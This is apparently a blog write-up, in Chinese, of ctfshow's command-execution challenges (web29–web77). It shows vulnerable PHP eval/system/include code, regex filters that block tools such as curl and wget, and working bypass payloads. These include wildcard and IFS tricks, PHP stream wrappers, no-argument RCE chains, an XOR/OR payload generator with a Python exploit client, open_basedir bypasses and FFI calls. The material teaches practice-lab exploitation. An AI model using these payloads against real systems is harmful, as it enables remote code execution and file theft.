ctfshow--命令执行

CTFSHOW-命令执行篇

web29

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
3
4
一个很简单的命令执行,对传入的参数c只限制了不能有flag关键字,我们可以用*绕过
用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令

payload:?c=system("cat%20f*");

web30

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
相比上一题只增加了对system和php的限制,只需要换命令执行的函数即可
payload:?c=passthru("cat%20f*");

web31

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
3
4
相较上题,有更加严格的函数过滤和命令过滤,并且过滤了空格
那我们使用%09绕过空格过滤(%09就是tab)
cat换成tac,tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出。
payload:?c=passthru("tac%09f*");

web32

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
这题将;、(、'、都给过滤了,我们没法直接写指令了
我们使用文件包含的方法执行命令
?c=include$_GET["aaa"]?>&&aaa=php://filter/read=convert.base64-encode/resource=flag.php
php://filter(本地磁盘文件进行读取)
read=convert.base64-encode对读取的内容进行base-64编码
resource=flag.php读取的文件为flag.php

web33

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
3
相比web32多了双引号过滤
只需要在上一题的payload少"即可,有无双引号不影响参数。
?c=include$_GET[aaa]?>&&aaa=php://filter/read=convert.base64-encode/resource=flag.php

web34

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
多了对冒号:的过滤,用web33的payload依旧可以绕过
?c=include$_GET[aaa]?>&&aaa=php://filter/read=convert.base64-encode/resource=flag.php

web35

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
多了对=的绕过,web33的payload依旧可行
?c=include$_GET[aaa]?>&&aaa=php://filter/read=convert.base64-encode/resource=flag.php

web36

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
多了对/和数字的过滤,payload依旧可行
?c=include$_GET[aaa]?>&&aaa=php://filter/read=convert.base64-encode/resource=flag.php

web37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}
1
2
3
4
5
存在include语句,可以使用文件包含执行命令,include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
可以使用data伪协议,data伪协议主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:
data://text/plain;base64,xxxx(base64编码后的数据)
所以payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTsgPz4=
base-64解码为:<?php system("cat f*"); ?>

web38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}
1
2
多了对php和file的过滤但是我们依旧可以用上一题的payload
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTsgPz4=

web39

1
2
3
4
5
6
7
8
9
10
11
12
<?phpzai
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}
1
2
3
在我们输入的指令后会拼接.php后缀
payload:?c=data://text/plain,<?php%20system("cat%20f*");?>
前面的?>已经将语句闭合,后面的.php不会起作用,起到绕过加后缀的情况

web40

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
过滤了这么多东西,使用无参构造
无参数rce就是不使用参数,而只使用一个个函数最终达到目的

无参相关函数:
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容

scandir('.')是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload:?c=var_dump(scandir(current(localeconv())));
得到:array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }
此处flag.php位于倒数第二个位置上,所以
payload:?c=show_source(next(array_reverse(scandir(getcwd()))));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
其他无参构造常用payload

查看当前目录文件名:
print_r(scandir(current(localeconv())));

读取当前目录文件:
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名:
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录文件:
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

参考文章:无参数RCE总结 | Ajieの小屋 (cheshrin.top)

web41

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
1
2
无字母数字rce,没有过滤|
跑脚本获得可用字符集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}

//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}

//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";

for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}

if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}

}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

参考:ctfshow web入门 web41_ctfshow web41-CSDN博客

web42

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
/dev/null 是一个特殊的设备文件,它丢弃一切写入其中的数据 可以将它 视为一个黑洞, 它等效于只写文件, 写入其中的所有内容都会消失, 尝试从中读取或输出不会有任何结果。
2>&1:
0 => stdin 标准输入
1 => stdout 标准输出
2 => stderr 标准错误输出
2>&1代表将stderr重定向到文件描述符为1的文件(即/dev/stdout)中

如果直接执行命令,结果会输入到>/dev/null,并且报错也会输入进去,不会有任何回显
所以要想办法截断后面的命令:
?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26%26
?c=cat flag.php;

web43

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
3
4
过滤了;和cat
可以用%0a和&&用url编码
?c=tac flag.php%0a
?c=tac flag.php%26%26

web44

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
3
多了对flag的过滤,用*绕过
?c=tac f*%0a
?c=tac f*%26%26

web45

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
多了对空格的过滤
用${IFS}、$IFS$1、%09 都可以绕过空格过滤
?c=tac${IFS}f*%0a
?c=tac$IFS$1f*%0a
?c=tac%09f*%0a

web46

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

1
2
多了数字、$、*的过滤,用?代替*
?c=tac%09fla?.php%0a

web47

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
多了命令的绕过,不影响
?c=tac%09fla?.php%0a

web48

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
更严格的过滤,但还是不影响
?c=tac%09fla?.php%0a

web49

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
多了对%的过滤,依旧不影响
?c=tac%09fla?.php%0a

web50

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
3
制表符%09和&被过滤,
我们可以使用 < 符号将一个文件的内容作为命令的输入,''替代?的作用,||代替%0a
?c=tac<fla''g.php%7C%7C

web51

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
多了对tac的过滤,用nl代替tac
?c=nl<fla''g.php%7C%7C

web52

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
少了对$的过滤,多了对<和>的过滤
?c=nl$IFS/fla''g%7C%7C

web53

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
1
?c=ca''t${IFS}fla?.php

web54

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
1
2
3
?c=paste${IFS}fla?.php
?c=/bin/?at${IFS}f??????? #/bin/?at就是cat
?c=mv${IFS}fla?.php${IFS}a.txt #把flag.php重命名为a.txt,然后直接访问a.txt即可

web55

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
把字母过滤了,但是还保留了数字

1.使用base64进行匹配
把flag.php的内容以base64输出了
?c=/???/????64 ????.???
相当于/bin/base64 flag.php

2.bzip2命令
将flag文件进行压缩,然后再访问flag.php.bz2下载
?c=/???/???/????2 ????.???

web56

1
2
3
4
5
6
7
8
9
10
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
1
2
数字也过滤了,没有过滤.和/
运用.(进行)执行sh命令

首先利用下面的表单上传随便一个小文件。(表单可以直接f12修改html插入网页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://ae82ef6f-deed-491d-bebf-7498e32cc9b1.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传文件抓包,发送到Repeater模块。有两处进行修改:

把文件内容改成想要执行的命令:

#!/bin/sh
ls
添加get参数:

?c=.%20/???/????????[@-[]

p神文章

web57

1
2
3
4
5
6
7
8
9
10
11
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
可以利用特性来构建数字,Linux内

echo ${_}:返回上一次命令的执行结果,若上一次没有命令输出0
可用
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反

payload:
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
这个得到的就是36,因为flag在36.php里

web58-web65

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
php.ini在后台对system,shell_exec等常见命令执行函数进行过滤
可以调用php内置函数进行文件读取
常见文件读取函数:
file_get_contents
fread
fgets
fgetss
file
parse_ini_file
readfile
highlight_file
show_source
1
2
3
4
payload:
c=echo highlight_file('flag.php');
c=show_source("flag.php");
c=highlight_file("flag.php");

web66

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
发现flag不在flag.php
执行
c=print_r(scandir("/"));
发现flag.txt
查看flag.txt
c=highlight_file('/flag.txt');

web67

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
1
2
3
题面一样但是print_r被禁了,换成 var_dump即可
c=var_dump(scandir("/"));
c=highlight_file('/flag.txt');

web68-web70

1
2
3
文件显示的代码,比如show_source、highlight_file、file_get_contents等基本都被禁了,这里换成文件包含的即可,如include、require

payload: c=var_dump(scandir("/"));include("/flag.txt");

web71

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
1
2
3
4
5
6
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。

可以利用exit9);停止后面的程序

payload:c=require("/flag.txt");exit()

web72

参考ctfshow web72(绕过open_basedir) - hithub - 博客园 (cnblogs.com)

web73

glob遍历目录

1
2
3
4
5
6
7
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

url编码

1
c=%3F%3E%3C%3Fphp%0A%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().'%20')%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E

得到flag.txt

1
c=include("/flagc.txt");exit();

拿flag

web74

同web73

web75

glob遍历目录先得到文件名flag35.txt

1
c=%3F%3E%3C%3Fphp%0A%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().'%20')%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E

然后利用PDO连接数据库load_file读取文件

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

同web75,文件名为flag36.txt

web77

1
2
3
4
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
访问1.txt

ctfshow--命令执行
http://example.com/2024/07/09/ctfshow -- 命令执行/
作者
piiick
发布于
2024年7月9日
许可协议